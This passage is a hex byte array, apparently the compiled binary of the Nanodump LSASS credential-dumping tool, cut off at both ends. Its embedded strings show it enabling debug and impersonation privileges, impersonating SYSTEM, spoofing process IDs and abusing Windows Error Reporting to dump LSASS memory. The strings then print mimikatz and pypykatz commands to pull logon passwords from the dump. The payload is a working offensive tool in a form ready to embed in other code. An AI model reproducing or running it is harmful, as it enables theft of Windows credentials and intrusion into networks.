xEB,0x48,0x65,0x46,0xEB,0x48,0x65,0x5E,0xEB,0x48,0x65,0x76,0xEB,0x48,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0xCD,0x48,0x65,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x02,0x00,0x00,0x00,0x60,0xC8,0x48,0x65,0x40,0xC9,0x48,0x65,0x40,0xCA,0x48,0x65,0x60,0xCB,0x48,0x65,0x90,0xCA,0x48,0x65,0x60,0xCA,0x48,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6C,0x69,0x62,0x67,0x63,0x63,0x5F,0x73,0x5F,0x64,0x77,0x32,0x2D,0x31,0x2E,0x64,0x6C,0x6C,0x00,0x5F,0x5F,0x72,0x65,0x67,0x69,0x73,0x74,0x65,0x72,0x5F,0x66,0x72,0x61,0x6D,0x65,0x5F,0x69,0x6E,0x66,0x6F,0x00,0x5F,0x5F,0x64,0x65,0x72,0x65,0x67,0x69,0x73,0x74,0x65,0x72,0x5F,0x66,0x72,0x61,0x6D,0x65,0x5F,0x69,0x6E,0x66,0x6F,0x00,0x00,0x00,0x00,0xFF,0x15,0x8C,0x38,0x1E,0x10,0x85,0x00,0x78,0x78,0x3F,0x3F,0x3F,0x3F,0x78,0x00,0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x49,0x64,0x54,0x6F,0x53,0x65,0x73,0x73,0x69,0x6F,0x6E,0x49,0x64,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x42,0x00,0x61,0x00,0x73,0x00,0x65,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0xFF,0x15,0x38,0x20,0x88,0x6B,0xFF,0x00,0x42,0x61,0x73,0x65,0x54,0x68,0x72,0x65,0x61,0x64,0x49,0x6E,0x69,0x74,0x54,0x68,0x75,0x6E,0x6B,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0xFF,0x15,0xE0,0x91,0x3A,0x4B,0xFF,0x00,0x52,0x74,0x6C,0x55,0x73,0x65,0x72,0x54,0x68,0x72,0x65,0x61,0x64,0x53,0x74,0x61,0x72,0x74,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x74,0x6F,0x6F,0x20,0x6D,0x61,0x6E,0x79,0x20,0x66,0x72,0x61,0x6D,0x65,0x73,0x21,0x00,0x0A,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x5C,0x00,0x52,0x00,0x65,0x00,0x67,0x00,0x69,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x79,0x00,0x5C,0x00,0x4D,0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x69,0x00,0x6E,0x00,0x65,0x00,0x5C,0x00,0x53,0x00,0x6F,0x00,0x66,0x00,0x74,0x00,0x77,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x5C,0x00,0x4D,0x00,0x69,0x00,0x63,0x00,0x72,0x00,0x6F,0x00,0x73,0x00,0x6F,0x00,0x66,0x00,0x74,0x00,0x5C,0x00,0x57,0x00,0x69,0x00,0x6E,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x73,0x00,0x5C,0x00,0x57,0x00,0x69,0x00,0x6E,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x45,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x52,0x00,0x65,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x5C,0x00,0x4C,0x00,0x6F,0x00,0x63,0x00,0x61,0x00,0x6C,0x00,0x44,0x00,0x75,0x00,0x6D,0x00,0x70,0x00,0x73,0x00,0x5C,0x00,0x00,0x00,0x44,0x00,0x75,0x00,0x6D,0x00,0x70,0x00,0x54,0x00,0x79,0x00,0x70,0x00,0x65,0x00,0x00,0x00,0x5C,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x4F,0x00,0x62,0x00,0x6A,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x73,0x00,0x5C,0x00,0x53,0x00,0x79,0x00,0x73,0x00,0x74,0x00,0x65,0x00,0x6D,0x00,0x45,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x50,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x52,0x00,0x65,0x00,0x61,0x00,0x64,0x00,0x79,0x00,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x5C,0x00,0x57,0x00,0x69,0x00,0x6E,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x73,0x00,0x45,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x52,0x00,0x65,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x50,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x00,0x00,0x74,0x68,0x65,0x20,0x57,0x65,0x72,0x20,0x73,0x65,0x72,0x76,0x69,0x63,0x65,0x20,0x72,0x65,0x73,0x70,0x6F,0x6E,0x64,0x65,0x64,0x20,0x77,0x69,0x74,0x68,0x20,0x61,0x6E,0x20,0x65,0x72,0x72,0x6F,0x72,0x00,0x0A,0x00,0x00,0x00,0x46,0x61,0x69,0x6C,0x65,0x64,0x20,0x74,0x6F,0x20,0x6F,0x70,0x65,0x6E,0x20,0x68,0x61,0x6E,0x64,0x6C,0x65,0x20,0x74,0x6F,0x20,0x73,0x70,0x6F,0x6F,0x66,0x65,0x64,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x69,0x64,0x20,0x25,0x6C,0x64,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x5C,0x00,0x4B,0x00,0x6E,0x00,0x6F,0x00,0x77,0x00,0x6E,0x00,0x44,0x00,0x6C,0x00,0x6C,0x00,0x73,0x00,0x5C,0x00,0x00,0x00,0x00,0x00,0x4C,0x00,0x6F,0x00,0x63,0x00,0x61,0x00,0x6C,0x00,0x41,0x00,0x70,0x00,0x70,0x00,0x44,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x00,0x00,0x00,0x00,0x44,0x6F,0x6E,0x65,0x2C,0x20,0x72,0x75,0x6E,0x3A,0x20,0x64,0x69,0x72,0x20,0x25,0x6C,0x73,0x5C,0x43,0x72,0x61,0x73,0x68,0x44,0x75,0x6D,0x70,0x73,0x5C,0x00,0x0A,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x27,0x25,0x73,0x27,0x20,0x77,0x61,0x73,0x20,0x6E,0x6F,0x74,0x20,0x66,0x6F,0x75,0x6E,0x64,0x00,0x00,0x5C,0x00,0x3F,0x00,0x3F,0x00,0x5C,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x70,0x61,0x74,0x68,0x20,0x27,0x25,0x6C,0x73,0x27,0x20,0x69,0x73,0x20,0x69,0x6E,0x76,0x61,0x6C,0x69,0x64,0x2E,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x77,0x72,0x69,0x74,0x65,0x20,0x74,0x68,0x65,0x20,0x64,0x75,0x6D,0x70,0x20,0x25,0x6C,0x73,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x6D,0x69,0x6E,0x69,0x64,0x75,0x6D,0x70,0x20,0x68,0x61,0x73,0x20,0x61,0x6E,0x20,0x69,0x6E,0x76,0x61,0x6C,0x69,0x64,0x20,0x73,0x69,0x67,0x6E,0x61,0x74,0x75,0x72,0x65,0x2C,0x20,0x72,0x65,0x73,0x74,0x6F,0x72,0x65,0x20,0x69,0x74,0x20,0x72,0x75,0x6E,0x6E,0x69,0x6E,0x67,0x3A,0x0A,0x73,0x63,0x72,0x69,0x70,0x74,0x73,0x2F,0x72,0x65,0x73,0x74,0x6F,0x72,0x65,0x5F,0x73,0x69,0x67,0x6E,0x61,0x74,0x75,0x72,0x65,0x20,0x25,0x73,0x00,0x44,0x6F,0x6E,0x65,0x2C,0x20,0x74,0x6F,0x20,0x67,0x65,0x74,0x20,0x74,0x68,0x65,0x20,0x73,0x65,0x63,0x72,0x65,0x74,0x7A,0x20,0x72,0x75,0x6E,0x3A,0x0A,0x70,0x79,0x74,0x68,0x6F,0x6E,0x33,0x20,0x2D,0x6D,0x20,0x70,0x79,0x70,0x79,0x6B,0x61,0x74,0x7A,0x20,0x6C,0x73,0x61,0x20,0x6D,0x69,0x6E,0x69,0x64,0x75,0x6D,0x70,0x20,0x25,0x73,0x0A,0x6D,0x69,0x6D,0x69,0x6B,0x61,0x74,0x7A,0x2E,0x65,0x78,0x65,0x20,0x22,0x73,0x65,0x6B,0x75,0x72,0x6C,0x73,0x61,0x3A,0x3A,0x6D,0x69,0x6E,0x69,0x64,0x75,0x6D,0x70,0x20,0x25,0x73,0x22,0x20,0x22,0x73,0x65,0x6B,0x75,0x72,0x6C,0x73,0x61,0x3A,0x3A,0x6C,0x6F,0x67,0x6F,0x6E,0x50,0x61,0x73,0x73,0x77,0x6F,0x72,0x64,0x73,0x20,0x66,0x75,0x6C,0x6C,0x22,0x20,0x65,0x78,0x69,0x74,0x00,0x5C,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x73,0x00,0x2E,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x54,0x00,0x6F,0x00,0x6B,0x00,0x65,0x00,0x6E,0x00,0x00,0x00,0x54,0x6F,0x6F,0x20,0x6D,0x61,0x6E,0x79,0x20,0x68,0x61,0x6E,0x64,0x6C,0x65,0x73,0x2C,0x20,0x70,0x6C,0x65,0x61,0x73,0x65,0x20,0x69,0x6E,0x63,0x72,0x65,0x61,0x73,0x65,0x20,0x4D,0x41,0x58,0x5F,0x48,0x41,0x4E,0x44,0x4C,0x45,0x53,0x00,0x0A,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x44,0x00,0x69,0x00,0x72,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x6F,0x00,0x72,0x00,0x79,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x6F,0x70,0x65,0x6E,0x20,0x61,0x20,0x68,0x61,0x6E,0x64,0x6C,0x65,0x20,0x77,0x69,0x74,0x68,0x20,0x74,0x68,0x65,0x20,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x20,0x70,0x65,0x72,0x6D,0x69,0x73,0x73,0x69,0x6F,0x6E,0x73,0x00,0x00,0x54,0x68,0x65,0x20,0x4C,0x53,0x41,0x53,0x53,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x77,0x61,0x73,0x20,0x6E,0x6F,0x74,0x20,0x66,0x6F,0x75,0x6E,0x64,0x2E,0x20,0x54,0x72,0x79,0x20,0x70,0x72,0x6F,0x76,0x69,0x64,0x69,0x6E,0x67,0x20,0x74,0x68,0x65,0x20,0x50,0x49,0x44,0x20,0x77,0x69,0x74,0x68,0x20,0x2D,0x70,0x20,0x6F,0x72,0x20,0x2D,0x2D,0x70,0x69,0x64,0x00,0x54,0x68,0x65,0x72,0x65,0x20,0x69,0x73,0x20,0x6E,0x6F,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x77,0x69,0x74,0x68,0x20,0x74,0x68,0x65,0x20,0x50,0x49,0x44,0x20,0x25,0x6C,0x64,0x2E,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x6F,0x70,0x65,0x6E,0x20,0x61,0x20,0x68,0x61,0x6E,0x64,0x6C,0x65,0x20,0x74,0x6F,0x20,0x25,0x6C,0x64,0x2E,0x00,0x54,0x6F,0x6F,0x20,0x6D,0x61,0x6E,0x79,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x65,0x73,0x2C,0x20,0x70,0x6C,0x65,0x61,0x73,0x65,0x20,0x69,0x6E,0x63,0x72,0x65,0x61,0x73,0x65,0x20,0x4D,0x41,0x58,0x5F,0x50,0x52,0x4F,0x43,0x45,0x53,0x53,0x45,0x53,0x00,0x00,0x00,0x4E,0x6F,0x20,0x68,0x61,0x6E,0x64,0x6C,0x65,0x20,0x74,0x6F,0x20,0x74,0x68,0x65,0x20,0x4C,0x53,0x41,0x53,0x53,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x77,0x61,0x73,0x20,0x66,0x6F,0x75,0x6E,0x64,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x44,0x00,0x65,0x00,0x62,0x00,0x75,0x00,0x67,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x49,0x00,0x6D,0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x6F,0x00,0x6E,0x00,0x61,0x00,0x74,0x00,0x65,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x4E,0x6F,0x20,0x76,0x61,0x6C,0x69,0x64,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x74,0x6F,0x6B,0x65,0x6E,0x20,0x74,0x6F,0x20,0x69,0x6D,0x70,0x65,0x72,0x73,0x6F,0x6E,0x61,0x74,0x65,0x20,0x77,0x61,0x73,0x20,0x66,0x6F,0x75,0x6E,0x64,0x2E,0x00,0x0A,0x00,0x00,0x53,0x00,0x65,0x00,0x41,0x00,0x73,0x00,0x73,0x00,0x69,0x00,0x67,0x00,0x6E,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x6D,0x00,0x61,0x00,0x72,0x00,0x79,0x00,0x54,0x00,0x6F,0x00,0x6B,0x00,0x65,0x00,0x6E,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x53,0x00,0x2D,0x00,0x31,0x00,0x2D,0x00,0x35,0x00,0x2D,0x00,0x31,0x00,0x38,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x69,0x6D,0x70,0x65,0x72,0x73,0x6F,0x6E,0x61,0x74,0x65,0x20,0x53,0x59,0x53,0x54,0x45,0x4D,0x00,0x00,0x53,0x00,0x2D,0x00,0x31,0x00,0x2D,0x00,0x35,0x00,0x2D,0x00,0x31,0x00,0x39,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x69,0x6D,0x70,0x65,0x72,0x73,0x6F,0x6E,0x61,0x74,0x65,0x20,0x4C,0x4F,0x43,0x41,0x4C,0x20,0x53,0x45,0x52,0x56,0x49,0x43,0x45,0x00,0x5C,0x00,0x00,0x00,0x46,0x61,0x69,0x6C,0x65,0x64,0x20,0x74,0x6F,0x20,0x72,0x65,0x61,0x64,0x20,0x4C,0x53,0x41,0x53,0x53,0x2C,0x20,0x73,0x74,0x61,0x74,0x75,0x73,0x3A,0x20,0x53,0x54,0x41,0x54,0x55,0x53,0x5F,0x41,0x43,0x43,0x45,0x53,0x53,0x5F,0x44,0x45,0x4E,0x49,0x45,0x44,0x00,0x0A,0x00,0x00,0x00,0x00,0x46,0x61,0x69,0x6C,0x65,0x64,0x20,0x74,0x6F,0x20,0x72,0x65,0x61,0x64,0x20,0x4C,0x53,0x41,0x53,0x53,0x2C,0x20,0x73,0x74,0x61,0x74,0x75,0x73,0x3A,0x20,0x30,0x78,0x25,0x6C,0x78,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x73,0x65,0x6C,0x65,0x63,0x74,0x65,0x64,0x20,0x70,0x72,0x6F,0x63,0x65,0x73,0x73,0x20,0x69,0x73,0x20,0x6E,0x6F,0x74,0x20,0x4C,0x53,0x41,0x53,0x53,0x2E,0x00,0x00,0x53,0x00,0x65,0x00,0x49,0x00,0x6D,0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x6F,0x00,0x6E,0x00,0x61,0x00,0x74,0x00,0x65,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x65,0x6E,0x61,0x62,0x6C,0x65,0x20,0x53,0x65,0x49,0x6D,0x70,0x65,0x72,0x73,0x6F,0x6E,0x61,0x74,0x65,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x2E,0x20,0x41,0x72,0x65,0x20,0x79,0x6F,0x75,0x20,0x65,0x6C,0x65,0x76,0x61,0x74,0x65,0x64,0x3F,0x00,0x0A,0x00,0x00,0x00,0x00,0x53,0x00,0x65,0x00,0x44,0x00,0x65,0x00,0x62,0x00,0x75,0x00,0x67,0x00,0x50,0x00,0x72,0x00,0x69,0x00,0x76,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x67,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x43,0x6F,0x75,0x6C,0x64,0x20,0x6E,0x6F,0x74,0x20,0x65,0x6E,0x61,0x62,0x6C,0x65,0x20,0x53,0x65,0x44,0x65,0x62,0x75,0x67,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x2E,0x20,0x41,0x72,0x65,0x20,0x79,0x6F,0x75,0x20,0x65,0x6C,0x65,0x76,0x61,0x74,0x65,0x64,0x3F,0x00,0x00,0x00,0x00,0x41,0x20,0x70,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x20,0x69,0x73,0x20,0x6D,0x69,0x73,0x73,0x69,0x6E,0x67,0x3A,0x20,0x25,0x6C,0x73,0x2E,0x20,0x41,0x72,0x65,0x20,0x79,0x6F,0x75,0x20,0x65,0x6C,0x65,0x76,0x61,0x74,0x65,0x64,0x3F,0x00,0x41,0x20,0x70,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x20,0x69,0x73,0x20,0x6D,0x69,0x73,0x73,0x69,0x6E,0x67,0x3A,0x20,0x25,0x6C,0x73,0x00,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x64,0x75,0x6D,0x70,0x20,0x73,0x69,0x7A,0x65,0x20,0x65,0x78,0x63,0x65,0x65,0x64,0x73,0x20,0x74,0x68,0x65,0x20,0x33,0x32,0x2D,0x62,0x69,0x74,0x20,0x61,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x73,0x70,0x61,0x63,0x65,0x21,0x00,0x0A,0x00,0x00,0x00,0x54,0x68,0x65,0x20,0x64,0x75,0x6D,0x70,0x20,0x69,0x73,0x20,0x74,0x6F,0x6F,0x20,0x62,0x69,0x67,0x2C,0x20,0x70,0x6C,0x65,0x61,0x73,0x65,0x20,0x69,0x6E,0x63,0x72,0x65,0x61,0x73,0x65,0x20,0x44,0x55,0x4D,0x50,0x5F,0x4D,0x41,0x58,0x5F,0x53,0x49,0x5A,0x45,0x2E,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6D,0x00,0x73,0x00,0x76,0x00,0x31,0x00,0x5F,0x00,0x30,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x74,0x00,0x73,0x00,0x70,0x00,0x6B,0x00,0x67,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x77,0x00,0x64,0x00,0x69,0x00,0x67,0x00,0x65,0x00,0x73,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6B,0x00,0x65,0x00,0x72,0x00,0x62,0x00,0x65,0x00,0x72,0x00,0x6F,0x00,0x73,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6C,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x64,0x00,0x70,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6B,0x00,0x64,0x00,0x63,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x64,0x00,0x62,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x73,0x00,0x61,0x00,0x6D,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x72,0x00,0x73,0x00,0x61,0x00,0x65,0x00,0x6E,0x00,0x68,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6E,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6E,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x70,0x00,0x72,0x00,0x6F,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x65,0x00,0x76,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x6C,0x00,0x6F,0x00,0x67,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x77,0x00,0x65,0x00,0x76,0x00,0x74,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x6D,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x63,0x00,0x6C,0x00,0x6F,0x00,0x75,0x00,0x64,0x00,0x61,0x00,0x70,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x4E,0x61,0x6E,0x6F,0x64,0x75,0x6D,0x70,0x20,0x64,0x6F,0x65,0x73,0x20,0x6E,0x6F,0x74,0x20,0x73,0x75,0x70,0x70,0x6F,0x72,0x74,0x20,0x57,0x6F,0x57,0x36,0x34,0x00,0x0A,0x00,0x53,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x2D,0x00,0x76,0x00,0x00,0x00,0x2D,0x00,0x2D,0x00,0x76,0x00,0x61,0x00,0x6C,0x00,0x69,0x00,0x64,0x00,0x00,0x00,0x2D,0x00,0x77,0x00,0x00,0x00,0x2D,0x00,0x2D,0x00,0x77,0x00,0x72,0x00,0x69,0x00,0x74,0x00,0x65,0x00,0x00,0x00,0x6D,0x69,0x73,0x73,0x69,0x6E,0x67,0x20,0x2D,0x2D,0x77,0x72,0x69,0x74,0x65,0x20,0x76,0x61,0x6C,0x75,0x65,0x00,0x2D,0x00,0x70,0x00,0x00,0x00,0x2D,0x00,0x2D,0x00,0x70,0x00,0x69,0x00,0x64,0x00,0x00,0x00,0x6D,0x69,0x73,0x73,0x69,0x6E,0x67,0x20,0x2D,0x2D,0x70,0x69,0x64,0x20,0x76,0x61,0x6C,0x75,0x65,0x00,0x2D,0x00,0x64,0x00,0x00,0x00,0x2D,0x00,0x2D,0x00,0x64,0x00,0x75,0x00,0x70,0x00,0x6C,0x00,0x69,0x00,0x63,0x00,0x